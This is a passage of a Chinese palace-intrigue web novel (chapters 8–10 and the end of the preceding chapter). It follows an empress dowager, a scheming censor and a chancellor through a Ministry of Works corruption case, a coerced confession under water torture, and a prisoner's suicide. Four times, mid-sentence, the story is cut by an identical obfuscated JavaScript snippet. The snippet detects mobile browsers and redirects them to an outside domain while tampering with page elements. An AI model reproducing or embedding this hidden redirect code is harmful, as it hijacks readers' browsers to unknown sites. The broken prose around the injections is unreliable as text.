“游船漏水,但终究是平稳靠了岸,娘娘坠水,但整艘船上也只我们两人遭了不幸。娘娘如今安康,臣与娘娘自是感叹万幸,然而其他人或许并不这样想。” “且不说可能会传出娘娘与臣之间怎样的荒谬言论,就是娘娘想要彻查游船漏水的原因,可能也会受阻碍。” 徐卿安望向上官栩道:“就比如臣刚才提到的工部尚书空缺一事。” “游船修建事关工部,但又恰逢现下正是工部人员调整之际,在此时对工部的所有动作都会被放大,所以要想彻查此事,不给他人落口舌的机会,就得将自己的立场彻底摆正。” “而娘娘当着众人扇臣的那一巴掌,就是将自己彻底与臣、与游船漏水一事,划清界限,杜绝一切“以苦肉之计,谋而后动”的说法。” 是,先是重启水祭,再是游船漏水,最后又是与之相关的工部侍郎被人实名上诉,三件事情联系起来着实太巧,上官栩在此前就曾想过如何把自己给摘出来。 结果谁知,她落水了。 一巴掌下去,她怒不可遏,当着在所有赶来救她的人面前失态,为的就是要传出去,让在礼台上的人知道—— 这件事,对她来说,就是意外! 而且还是一个让她极难接受的意外。 上元夜,徐卿安为她所用了两次,一次是在事后殿内,他主动站出来附和她,一次,就是那一巴掌。 只是上官栩原以为,那一巴掌只是她单方面强加出去的,没想到他竟也明白了她的用意。 她开始审视眼前这个跪着的青年。 而徐卿安勾起唇,对她笑道:“娘娘刚才话还作数吧?若臣刚才哪些地方不对,还请娘娘容情啊。” “我说的话自然算数。”上官栩移开眼,转过身往一旁走去。 徐卿安视线跟随。 她不过行出几步便停下,回身,面泛温婉对他道:“而且你说得也不算冒犯,我何必要罚你。” 徐卿安垂眸,微微欠身:“娘娘宽仁。” 他问:“那不知工部刘侍郎的事,娘娘是如何打算的?如今在旁人看来,娘娘就是上元夜最大的受害者,娘娘若是在此时想对工部有所安排,旁人也不会觉得有什么不应该的。” 上官栩默然片刻,抬眼间慢慢踱步回来,她道:“大晋律,凡越级告诉,若非谋逆大罪,告诉者先受笞刑,其刑残酷难忍,所以一般来说,鲜少有人走这个路子,一用则多有大冤。” “而今日,御史台受诉的,不仅是实名越级告诉,被告诉的人更是六部侍郎,朝中四品大员,这样的背景下告诉者必然是背水一战,证据准备齐全。” “依我看,这件事情没有什么转圜的余地,而且我也并不想转圜。” 她停在他面前,微倾身道:“你刚问我,工部尚书暂缺,可是对那刘侍郎寄予厚望,但我想告诉你的是,他跟我有什么关系?” “我扇你一巴掌确实是想把自己摘出来,但也仅此而已,我如今所求就是想要昨夜之事的一个交代,也如昨夜我在殿里说的那样,给百姓一个交代。” “至于旁的其他什么事情,与我无关,依律惩处便是。”说着,上官栩突然垂眸轻笑了一下,“当然,若是徐大人觉得因为这个交代要牵扯到其他人,那你也只管去做,不必来问我意见。” 其他人三个字特意咬重,不是真的不必来问意见,而是牵扯到的那个特定的“其他人”——工部刘侍郎,不用再来问到底可不可以牵扯。 因为答案显而易见,可以。 徐卿安跪听完,昂首,眸如水洗般明亮,柔声道:“臣明白了。” 上官栩也莞尔:“徐卿聪慧,实为我省心。” 徐卿安谦逊垂眸:“娘娘谬赞。” 话至此处,上官栩自觉差不多了便立直身子道:“既然徐卿明白了那便着手去做吧,笞刑可不好受,告诉者到了御史台别话还没说出来,嘴就张不开了。” “是。”徐卿安了然。 然而方才见他腿下有起身的动作,深绿官袍跟着动了动,就见他又停了下来。 上官栩疑惑:“徐卿还有事?” 跪地太久,其实双膝已有发痛发麻,可是徐卿安抬眼瞧了上官栩一瞬,仍选择跪着道:“臣还有一物想进呈给娘娘。” 跪地进呈更显诚意。 而且,在这个位置,这个姿态,他能更名正言顺地仰脸,与她对视,看清她的神情。 “什么?”上官栩蛾眉微蹙,只在意他要给的东西。 她以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715875|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和案子有关。 可是她却见徐卿安从袖中拿出了一个栗色小瓶。 徐卿安将东西递到她眼前更近的位置,说道:“昨夜娘娘落水之后,臣见娘娘有咳嗽的风寒之症,心下生忧,便想着为娘娘备一些缓解的药物。” “这瓶中装的是祛寒的药丸,不仅对治疗风寒有效,就是服下也有温经通络的作用,而这药丸也不似药汤那般苦,只需用服用时混着清水咽下即可,如此也更方便。” 上官栩闻言蓦地掩唇咳嗽了两声,接过瓷瓶,把玩起来:“你这个……从何处而来?你会医术?” 徐卿安道:“实不相瞒,臣自幼身体就不太好,家中便为臣请了个神医来帮臣疗养,昨日臣也落了水,回去之后他便为臣抓了药,臣想着他的药方一向极好,于是就请他为娘娘制了这药丸。” 说着,他又笑了笑补充道:“娘娘若是担心药不对症,也可先让太医院的御医来看看这药是否适合娘娘。” 徐卿安话虽说的是怕药不对症,其实就是在告诉上官栩,这药没毒,也没其他问题,不怕她查。 上官栩自是从善如流:“既是神医所制,又何须让太医院再查,徐卿的好意,我心领了。” 徐卿安再行礼,声音温和:“只求娘娘安康。” 上官栩诧异一滞。 不知为何,她突然觉得这句话好熟悉,与内容无关,只是那语气…… 上官栩放下手里的东西,不可置信地望了过去。 而他也恰好看了过来。 他今日没戴幞头,只用了发冠银簪束发,抬脸间,额上没了遮挡,面容更显清隽。 这几日天气都是极好,大殿内也洒进了阳光,浮尘漫散在暖光下,就像那年被日光照彻的露珠—— 洒在空中,洒在眼睫上。 上官栩凝眸,静了一瞬。 她不知不觉地向下靠近,手搭在了他的肩上,似想把什么东西看得更清楚一些。 而她的动作微带起一阵风,那股熟悉的芍药清香也再度萦绕到他身边。 徐卿安滞了滞。 二人面对面,心弦似被绷紧,又被那清香勾得颤了颤,他颈下衣襟起伏骤缓,深深呼吸了一次。 肩背绷直,他看着她靠近,不动声色地伸颈仰脸,目光不觉汇聚到那朱唇之上,竟将自己的唇和鼻递出去了几分。 绝非鬼使神差,更像是心向往之。 可是…… “徐卿考虑如此周到,我自会无恙。” 上官栩蓦地回神。 一切动作暂止。 徐卿安眼皮瞬间耸拉下去,姿态微散。 上官栩隔开二人之间的距离后,恍若平常地继续道:“徐卿近日辛劳,此事妥善之后,必不会亏待徐卿。” 徐卿安眨了下眼,如自嘲般嗤笑了一声,再道:“臣谢过娘娘。” —— 大殿内,宫人进来,换了热茶,重新续了薰香。 徐卿安走后,上官栩坐到了殿侧面的茶座上,一目不错地望着摆在桌案上的栗色小瓶。 “娘娘,这是?”青禾靠近后问道。 上官栩仍望着,眼皮都未抬一下:“他刚才留下的,说是治风寒的药。” 嘴上虽说着,但脑海中一直浮现着刚才的场景—— 暖阳沐面,眸温语轻。 他的气质、举止,分明一点都不像,可是为什么她仍旧觉得熟悉。 哪怕只那一瞬…… “叫阿筝回宫吧,御史台的事有人接手了。” 上官栩回神,声音淡如往常,刚才的一切异样心思都随着这句话的出口消逝不见。 8. 第 8 章 日光静谧,茶香氤氲,一只布满细纹又带着书茧的手拈着茶盖,沿着碗口轻转,将茶碗中最上面那层茶沫撇去。 多余的茶水顺着杯盖淋漓向下,水流如瀑,热气升腾。 茶盖盖下,连带着茶碗一起端起,微倾,一条细流状的茶水被倒入杯中。 “叔父!叔父!” 苏望坐在屋中长窗边的小榻上,刚拿起茶盏,唇还没挨上,外面就传来一阵急切的呼喊声。 他动作从容不变,而刚在外呼喊的青年已经大阔步走了进来。 青年到他面前停下说:“叔父,出事了……” 苏望品完茶,将杯盏放下,这才抬起眼帘向屋中之人看去。 同时间,苏府的家仆才姗姗来迟,见此状忙拱手道:“相、相爷,五郎君说有急事找您,小人一时便没来得及通传……” 苏五郎,苏望二哥之子,单名一个然字,字行正,现在御史台任御史中丞一职。 苏望看了家仆一眼,没说什么,只挥了挥手,示意他退下。 待到苏然见房中只剩下了他与苏望两人后,才道:“叔父,刘侍郎被那位徐御史抓走了,他奉的是太后的懿旨,所以直接越过了我行事。” 苏望看了看他,抬手邀他入座:“御史台的事我听说了,那证人不仅证据带得齐,就是在城中也造了不小的声势,刘昌被抓不过早晚的事。” 苏然道:“侄儿只是觉得好歹是个侍郎,又加上他之前为我们做过的事,或许可以保一保。” 苏望抬眼望向他,缓缓开口道:“如何保?用你的官声?” “我先问你,如今我苏家在朝堂上有一席之地,百官表面上也都颇为敬之,除权力外的原因是什么?” 苏然低声答:“苏氏一门皆奉行家训——公正处事,一视同仁,故而得百姓爱戴。” 苏望便再道:“百姓若水,水可载舟亦可覆舟,这天下囊括千万黎民,从不是谁的一言堂,如今事态发展迅速,刘昌所犯之罪也是极为积民怨的罪,你要保他唯有用你的权力强行把这件事镇压下去,那的名声呢?你可得想清楚,这其实是在用你的名声去换。” “一个刘昌当真值得么?” 苏然沉默。 苏望漫不经心道:“让他当了四年的工部侍郎,于他而言已经是今生大幸了,只是他能力不配位,守不住而已,没什么可惜的,太后现下出手想来也是想把此事靠向昨夜游船之事。” 苏望语气愈发轻描淡写:“她想要个交代就随她去吧。” 而苏然仍有些忐忑地问:“所以我们便什么都不做?工部那边正是选任新尚书的时候,叔父不打算一下?” 苏望轻笑一声,意味深长道:“没什么好打算的,哪个侍郎上去都一样。” —— 立政殿的梳妆台前,上官栩正借着日光,手执笔,细致地在额上描绘着一朵花钿。 不过这描绘的对象却不是她自己。 手停笔落,上官栩对着自己的画作和女郎的面容一起看了又看,目色温柔,也透着喜爱。 她莞尔说:“阿筝果真是束发英气而添妆秀美。” 坐在她对面的阿筝被她夸得羞涩,垂眸抿唇笑了笑后,说道:“娘娘又拿我开玩笑了。” 上官栩低头浅笑,抬眼间依旧温雅:“我可说得真心实意。”说着,她表情里多了几分怜惜,“怎么样,这次路过洛州可是有想起什么?” 阿筝摇摇头:“没有。” 她声音很轻,能感觉出她的遗憾,但却又从她表情里看出她似乎已对这种情况习以为常了。 阿筝和青禾不同,青禾是在上官家时从小就跟着上官栩的,而阿筝则是三年多前,在外面被上官栎救下后再被送到上官栩身边的。 那时幼帝刚登基不久,黄河洛州段发大水决堤,灾民遍野,也就是那个时候,上官栎前往灾区查探灾情,救下了孤苦潦倒、同时还失了忆的阿筝。 那时的阿筝瘦弱无比,浑身带着伤病,上官栎问了她籍贯来处,除模糊地记得自己小名唤作阿筝外,其它的她也一概不知,只是似乎习过武,一举一动都带着习武之人才有的习惯。 上官栎便将她带在了身边,回京后又送她去了上官栩那儿,想着她会武,上官栩照顾她的同时也能与之有个照应。 这几年来,上官栩一直都帮着阿筝找寻家人和记忆,而洛州又是上官栎救下阿筝的地方,上官栩便想着或许阿筝的家以前就是在那儿,便就对洛州多有留意。 这次阿筝奉命护人进京,途中便路过了洛州,上官栩就因此问了问。 在得到一如往常的答案后,上官栩跟着沉默片刻,随即又宽慰道:“洛州地广,或许没碰对地方吧。” 阿筝回笑:“娘娘不必为奴婢忧心,有些事情还是讲究缘分,也许时机到了自然而然就碰上了。” 话虽说得轻松,但上官栩知道阿筝也只是不想让她在此事上担心太多,费心太多。 寻找记忆和亲人一事,若非有什么实质性的进展,或者到最后成功寻回,每每提及便总是会生起一些怅然和失落。 阿筝便主动说起其他事:“这次奴婢护人进京,发现路上不只一股人跟着证人。” 上官栩凝眉,抬眼瞧过去。 阿筝回忆道:“其中自是有一股是刘侍郎派来追杀证人的,但还有一股更像是和我们一样,在暗处隐隐保护着证人。” “你们可曾交过手?”上官栩问。 阿筝摇摇头:“没有,就是面也没有碰上过,能察觉到这股人的存在也只是从其他蛛丝马迹判断出来的。” 上官栩沉吟:“刘侍郎在地方胡作非为,有仇家并不奇怪,但能派出这样一股人背后却要有足够的势力,难道他在朝中还有仇家?可他是苏望的人啊。” 苏望为宰相列三公,权倾天下,朝堂之上有几个人敢对他动手? 阿筝道:“或许是江湖中人呢?总有那么些人不畏权贵,也不图名利,就想为不公之事讨个公道。” 上官栩眼中警惕不减:“还是得查清楚,你能察觉到他们,他们应该也能察觉到你,是敌是友尚未可知。” —— 御史台狱内,刘昌被推着进入牢房。 初时他还和徐卿安好声好气道他是被人诬陷,结果见徐卿安仍是要送他进台狱,还大有一副要审讯他的样子,他便再难容忍,直接破口大骂。 “我乃四品侍郎,你不过一个八品御史,你凭什么抓我!” 滋啦一声,一个趔趄,刘昌被推到在了牢房里的枯草堆上。 他半趴着回身,见徐卿安慢慢走到他身边,半蹲在他面前。 青年官员并未因他的谩骂而恼怒,反是一贯从容地眼尾带着一丝若有若无的笑意。 徐卿安柔声:“刘侍郎说的是,下官的官职确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715876|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实低了您许多,可是刘侍郎,您要知道,朝官办事不一定都是依着自己的想法来,总要听上面人的意思不是?” 说着,他从怀中拿出一块令牌:“下官奉的就是太后娘娘的命。” 刘昌见到令牌后脸上惊恐更甚,慌忙道:“我、我要见苏相!” “嗯?”徐卿安奇怪嗯声,“我说我奉的太后娘娘的命,您说您要见苏相,这是什么意思?” 他吸一口气,思忖后道:“您是觉得苏相的话更管用么?” 刘昌语塞,支吾半天想要为自己辩解时却又被打断。 徐卿安含笑道:“您想说的话还是留着之后再说吧,反正我都替您记着,如今您到了御史台,在下也自然要尽到地主之谊,所以便先好好享受一下吧。” 刘昌的事情,因是实名告诉,证据确凿,又加上徐卿安的处理动作也快,所以等到去到地方核实的御史回京后,整个案子基本上就尘埃落定了—— 刘昌借用职位之便在其家乡大搞圈地,又贪污受贿,强抢民女,仔细一查就是近年工部的账也有问题,所以才会出现上元夜用腐木建船的情况。 如此,一连两件事全部得到解决。 徐卿安写好了折子进宫向上官栩复命。 “借职位之便在故地贪污行恶,故而在工部里也有不法之举,徐卿折子里所写的很有道理。”上官栩看过他的折子后评价道。 虽然游船之事是上官栩和徐卿安两人分头刻意为之,但刘昌在工部也并不干净,随随便便拉扯出一条罪状就能和游船漏水搭上边。 然而搭上边是一回事,让刘昌亲口认又是另一回事。 上官栩道:“听说徐卿在牢中用了大刑?” 徐卿安闻言笑一下,平淡道:“罪犯嘴硬,是用了些,不过效果确实极佳,不过一两日他便什么都认了。” 上官栩扬眉,语意不明:“看来徐卿于审讯一事上颇有心得。” 徐卿安拱手:“娘娘谬赞,臣不过是想让上元夜的事早日有个结果,也让娘娘少些忧心。” “只是臣有一事也想请娘娘帮忙。”说着,他眉头微起,神情露出几分可怜状。 上官栩不明就里:“什么?” 徐卿安抬眼,眸中盈盈,可怜不减:“臣此前查案时,为求能快一点结案,期间用了娘娘的令牌便宜行事,所以诸多环节都直接越过了中丞大人,现在想来恐怕会让他觉得不妥,便想请娘娘帮忙说和一二。” “以及臣在审讯罪犯时,他总是搬出苏相公,臣不得解,便在私下了解一番,才知苏相公对罪犯有提拔之恩,臣也不知此举会不会让苏相公对臣有误会,臣人微言轻,自然担不起的。” “这样啊。”上官栩眉间的不解慢慢散开。 如今徐卿安奉她的命接连做了几件事,其中却大多与苏望相关,他如今风头正盛最是引人注目,此话原不过也只是在向她求庇佑罢了。 如此情况,若要驭下,左不过温声宽慰几句,表明自己会给予的支持,让下面的人放心自己背后有人撑着就好。 只是这一次上官栩忽而一笑,乜眼瞥向一侧,如走神般漫不经心道:“那你可就小瞧苏相公了,苏相公奉公如山,不会出现你说的那种情况的。” “是吗?”徐卿安垂下眸,长睫阴翳下的笑意染上一层寒霜。 他语气平淡地将自己的恨意掩饰:“如此,臣就放心了。” 9. 第 9 章 “阿兄,阿兄……不是这样的,不是这样的……” 立政殿内,上官栩无力地跪在榻上,双手揉着上官栎的衣襟,带着哽咽和乞求的声音,嘶喊着。 上巳夜沉船的事情已经有了结果—— 不过是船体建造的过程中,要求不严格造成的意外。 上官栩哭得眼肿鼻红,泪水如雨幕般覆盖了她原本白皙的脸颊,如初绽的芍药被大雨摧残。 “不是意外,不是意外……我看见了,阿兄,我看见了!” “有刺客混在内宦之中,要杀他,我真的看见了……” 她焦急又无助,一刻也不愿松开手,她去不了外面,只能将所有的希望都寄托在眼前这位兄长的身上。 “阿兄……阿兄……” 少女涕泗横流、痛苦不堪,话都难说出整句,上官栎望着,心中似碎,满目怜惜地抱着她的双肩:“阿栩、阿栩,你先听我说,听阿兄说!” 上官栩停下哭诉,仍不住地抽噎。 上官栎道:“阿兄不是没去找过你说的那个人,然而时至今日,阿兄找遍整个皇宫乃至京城都没见到那人的踪影。” “阿兄知道,你说的一定是真的,可事发至今事态变幻,若真有幕后之人谋刺,那这些可能暴露他的存在就一定会被提早处理好,所以真想找出那个人,很难。” “什么意思?”上官栩蓦地静了一瞬,通红破碎的双眸中带着不甘,“是这件事就这样了吗?就让他这么不明不白地死在曲江里了吗?” 上官栩眉头紧蹙,压抑着自己的崩溃:“阿兄,你是刑部侍郎啊,难道如今连你也要放弃了?” “不是放弃,是现在只能如此。”上官栎垂眸一瞬,再抬眼劝道,“你想一想,如今四海升平,边疆无外患,市井无内忧,什么样的人会谋刺皇帝?” “若史书上记载他因谋刺而死,后世又会如何评价他?斯人已去,人死不能复生,阿栩,他已经回不来了,你还想他遭受怎样的评判?” “阿栩,你是他的未亡人,你还有很多事情要做,我们现在没有选择的机会,相信是意外,相信现今查出的结果,于他身后之名,于你此后周全,都是好事。” 上巳夜水祭,守卫何等森严,却还能安排行刺,幕后之人你真的撼动得了吗? 你将刺客之事传扬出去,有背后势力阻挠,你就确保能找到凶手吗? 你为他徒留下一个国君被行刺的结果,就是为了让后世之人肆意揣度吗? 给不了他真相,不如就予他一个体面。 体面? 上官栩突然仰脸大笑,绝望、妥协、病态、颠狂…… 他回来时尸身都那样了,谈何体面? 大笑中,眼角仍控制不住的溢泪,只是那汩汩泪痕早已殷红、刺目。 …… 上官栩独身一人在侧室中打好香篆,用线香重新将香炉中的兰香续好。 房中光线昏暗,她面容平静,不笑时自带三分冷意。 苏望奉公如山,不是她对他的评价,而是世人对他的评价。 熙宁二年,上官适逝世,苏望成为众相公中的领头人。 而不久苏家就传出苏四郎打死奴仆的丑闻。 大晋律,诸奴婢有罪,其主不请官司而杀者,杖一百;无罪而故杀者,以故杀罪论处[1]。 苏四郎所杀的奴仆本有盗窃行径,依律苏四郎杖一百即可,亦罪不至死,但因其出身名门苏氏,加之其时在朝廷任职,自然也就引人注目。 然而尽管如此,百官也觉得身为首相的苏望会在此事中帮苏四郎转圜,毕竟苏四郎能力虽说一般,但平日中德行并无亏损,若一百杖实实在在打下去,元气定然大伤。 可是就在此事之后不久,苏四郎便谢罪自尽了。 他自认,奴仆有罪,应交官府,私下草芥人命,实乃以权压人,于民不公,其身为朝廷命官更应为民表率,不行不法之事,亦不染苏家门楣。 虽留下谢罪书,但旁人都知道,苏四郎之死实为苏望逼迫所致。 时人都说,苏相恪守家训、奉公守法,对所有人都一视同仁,为了给那奴仆性命一个交代,不惜逼令自己最重视的侄子自尽,加之此后苏望为政上也不错,便素有贤相之称。 上官栩回想起这些事情,唇边冷冷地挑起一抹笑。 苏望表面扮得一副克己奉公、忠君爱国的模样,让不明之人都觉得他是德高望重之典范,这么多年来,上官栩看他扮得也很受用。 但也正因如此,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715877|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官栩料定了他不会在刘昌一事出手。 可是…… “一个工部侍郎哪里够。”上官栩抓了一把从香炉中冒出的兰香烟又淡然拂开,喃喃道,“苏望,你以高德仁善面世人,我就偏要撕下你的伪装,让天下无人不知你到底是怎样的一个乱臣贼子!” —— 深夜,御史台狱深处,湿寒弥漫,官靴踩在青石阶上往下走,一步一声,干脆而冷。 灯笼的光一路照至最里面的那间牢房门前,门锁被打开,铁链拉动,发出一阵闷而重的嘈杂声。 刘昌虚弱地依靠着墙壁,在噪声中昏昏沉沉地醒来。 他其实浑身还算干净,除了衣着头发有些凌乱外,身上根本就没有任何血迹伤痕。 可是他也的确受过大刑。 黄纸覆面,以水浇灌之,谓之水刑,痛苦如溺水窒息。 不,其刑反复,又挣扎不得,比起寻常溺水,应该还要更为折磨,更为绝望。 徐卿安屏退了其他人,慢步走到他面前蹲下,灯笼放在了一边。 “刘侍郎,睡得可好啊?” 一贯清和带笑的声音。 刘昌睁眼瞧一眼,无力道:“我不是都认了吗,你怎么还来?” 徐卿安道:“你好像很委屈,可是我冤枉了你?” 刘昌不说话。 徐卿安便抿唇笑:“我们做个交易好不好?你告诉我我想知道的,我保你一条命。” 刘昌诧异看过去。 徐卿安微侧一下头,扬眉笑了笑。 —— 翌日清晨,青禾急促地脚步声在立政殿外响起,她快步走入殿内,俯身到正在梳妆的上官栩身旁。 “刘昌昨夜死了。” 上官栩立时转过头,惊诧道:“怎么回事?怎么就死了?” 青禾回道:“听说是夜里撞墙自戕而死,仵作已去验过,确认无误,只是他还留了份血书——” 说着,青禾垂眸,声音陡然凝重:“以其性命,控告监察御史徐卿安滥用酷刑,屈打成招,同时,他还在血书中说道,徐御史昨夜入狱寻他,企图以刘氏全族性命,威胁他认下四年前,上巳夜沉船的祸事。” 轰的一声,上官栩脑中顿时一片空白。 10. 第 10 章 御史台狱深处很难照进阳光,虽说每座牢房都有一扇小的通风窗户,但因为整座监狱的构造问题,总有那么几间牢房是任何时候都晒不进太阳的。 徐卿安倚靠着墙壁,一手搭在支起的膝盖上,一手抬着,去探那窗户下,微光里的浮尘。 这间牢房于他而言既熟悉又不熟悉,说熟悉,是因为旁的那间就是此前刘昌所住,他每日来提审他时便总会路过现在这间牢房,说不熟悉,那自然是因为他从来就没有被关进过这里。 可是他看着那混着浮沉的缕缕微光,就似恍惚地让他想起那年在水中遥望两岸投来的火光,隔水之后同样阴冷、黯淡,却又带着希望。 绝望中的希望。 如施舍一般。 徐卿安神情寥寥,脑中回想着昨夜他与刘昌之间的谈话—— 刘昌道:“你能保我一条命?你有这么大的能耐?” 徐卿安笑了笑,自若道:“我既说得出这句话就自有办法,刘侍郎如今应该也清楚自己的处境,难不成你期待着那位苏相公会出手帮你一把?他可是连自己的侄子都不放过的人啊。” 刘昌打了个寒颤。 他自是听说过苏望逼令苏四郎自尽的事情。 他抬眼看向徐卿安:“你想问什么?” 徐卿安道:“四年前上巳夜水祭沉船,工部的尚书及侍郎全部被贬流放,为何时任水部郎中的你,分明是游船构建第一负责人,却不贬反升?” “听说是你给出了工部过往事务中所有不符章程的记录,这才使得工部四品以上的官员全部被清算,而你也因此立功,补上了侍郎之位。” 刘昌弱声:“这些不是当初结案卷宗里都有的吗,你既知道又为何要问我?” 徐卿安勾唇:“我自然不是问这些卷宗里本就有的东西。”他眼神一下变得狠厉,“我是要问你因何这般大胆,又是谁给你的底气攀诬官长!” 刘昌骤然醒神:“你、你在胡说什么?” 徐卿安愈发咄咄逼人:“以当年清算的势头,你身为水部郎中,第一个下狱的就该是你!你却还有时间整理证据?” “当年的工部尚书侍郎俱是清廉之人,你的证据中却提到他们中饱私囊,为求便利在游船上偷工减料,我看行这些事的更像是你吧。” “你可知他们最后抄家所得出的白银合起来都不过十两!” 徐卿安一把擒住刘昌的手腕,用力道:“说,当年指使你,在背后助你之人到底都有谁!” 刘昌痛叫一声。 见他闭口不言,徐卿安便再道:“你还等着他们来救你呢?你帮他们行这样腌臢事,他们杀你灭口还不来不及,还想着他们仁心大发?” “现在能救你的只有我。” “说话!” 手上的力道越来越大,仿佛手腕都要被折断,夜间迷惘,本就是人最脆弱的时分。 刘昌受不住:“是、是苏中丞……” “还有呢?”徐卿安咬牙,手仍不放。 “还有……”刘昌痛得失神。 “可有宫里的人?”徐卿安提醒道。 “有有有!”刘昌连忙,“我见过中宫的玺印!” 瞬间,施在手腕的力道散去,原本施力禁锢的手掌也慢慢松开。 刘昌身边传来一声几不可闻的冷笑,似带着自嘲。 徐卿安蓦地静下来,垂头又笑又叹。 分明是一个早就知道、早就被埋藏好的结果,为何偏偏要自己用刀子再把伤口划开看。 到底是什么执念在心中久久散不去…… 最后他问了刘昌那些用来构陷的证据是如何制来的,而原本的记录又被放到了哪里。 做这样的事总会留下蛛丝马迹,而身处下位的刘昌,也会为了自己的后路刻意保留下什么。 徐卿安今夜所为,本就是只是为了拿到能还原工部尚书侍郎清白的证据,至于其他的…… 不过抱着不该有的希望却再次得到印证罢了。 …… 徐卿安回神,探出去的手一握,抓了一把虚无。 又反手一摊,气流涌动,看浮尘在掌心上起伏。 “你很悠闲?” 熟悉的声音在牢房外响起,徐卿安蓦地收回手,先垂眸眨了眨眼,藏下眼底的湿润后再转头望去。 上官栩一身简装站在牢栏外,最外面还披了一件黑斗篷。 她目色平静带冷,而他却予以笑道:“娘娘来了。” 他依旧懒散,只坐直身子,没有起身相迎,又似抱怨道:“娘娘来得比臣预想得晚一些。” 上官栩轻笑:“你这般悠闲,我来不来又有什么?看你刚才的样子,我似乎还打扰到你了?” 徐卿安笑了笑:“娘娘说笑了。” 他这才站起身,到牢栏前拱手行礼:“臣一人呆在这暗牢之中,心中孤寂,百无聊赖,就只能寻些玩意打发时间。” 上官栩讥讽道:“不过现下无聊,昨天夜里,差不多的位置,你应该正畅快吧?那时可曾想过现下的处境?” 上官栩没有说免礼之类的话,徐卿安便自顾自地立起身子道:“娘娘打趣臣了。” 他没等她问,直接将昨夜之事说了出来:“臣前几日在调查刘昌贪污一事时,发现证人递到御史台的证据最早提到了刘昌七年前所为的恶行。” “而七年前他又正好在工部任职,臣便想着他这些年借工部之便应受了不少好处,恰逢证人哭诉,说刘昌诸多罪行并未留下罪证,想请我为他们受难之人皆主持个公道,我便来牢中问了一问,看能否再问出什么,结果谁知问完之后他就死了,还那般攀咬我……” 说着,徐卿安叹道:“臣也是百思不得其解。” “是吗?”上官栩语气冷冷的,凝眸审视着他,唇角挑起一抹笑,“可是刘昌就是死了,你要知道,这世上所有的事情一旦碰上人命,性质就会发生改变。” 徐卿安不甚在意地笑了笑:“娘娘是想说,谁死谁有理是吗?” “可是娘娘,在此之前,刘昌的罪行就已够判他斩刑了,他本就是将死之人,又焉能用他的性命和寻常无辜之人的性命相提并论?” 上官栩扬了扬眉,不答他的话,只说:“诚然,他就算是秉着拉人下水、玉石俱焚的想法行此事,但他撞墙自戕,又留下血书翻供,实属轰然之举,如今三司介入,你要说服的不是我,而是三司会审上的那几位大人。” 说完,上官栩语气突然讥诮起来:“只是我实在没想到,哪怕刘昌罪行已定,死罪难逃,徐大人却依旧竟只为了能找到更多罪证,给更多受害之人一个交代,而继续探查此案。” 徐卿安反问:“难道不该给他们一个交代吗?” 上官栩果断道:“不,我只是没想到你会这样做。” 徐卿安无奈笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715878|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“看来臣是做了什么让娘娘印象不好的事。” 他抬眼向她望去,见她并不打算接他的话,他便也只好自己继续说下去道:“好吧,其实臣行此事的确并非只是为了那些受难的人,臣还为了自己,为了娘娘。” “为了我?”上官栩显然不关心他前面的半句话。 徐卿安自觉被忽略,又轻叹一声道:“对,臣想给娘娘送件礼物。” 上官栩蹙眉,越来越不解他到底要做什么。 而徐卿安也在这时卖起了关子:“只是礼物还没备好,臣便先不说出到底是什么了,以免事情未成,反而坏了娘娘的兴致。” “随便你吧。”尽管对他的话有些好奇,但上官栩脸上也并未露出期待。 她转过身只留下一个侧脸给他:“不过你当下最应该好好想想的,还是该怎么应对那封血书更为实在,有些时候死无对证是好事,但也有些时候,死无对证是最糟糕的事。” “那若臣这次真的无法转圜,娘娘可能帮一帮臣?”徐卿安走进牢栏问。 上官栩转头瞧他一眼,见他目色温软,似带着期待。 可她依旧淡淡道:“三司会审上的那群官员虽都是认死理的,但大晋有大晋的律例,你若有冤,他们自会还你个公道。” “哦,臣知道了。”徐卿安垂眸,语气有些寂寥道。 上官栩不觉再看他一眼,竟有被他姿态可怜到。 她撇开目调整一瞬,临走之前终是宽慰了一句:“距三司会审还有三日,我等着你的礼物。” 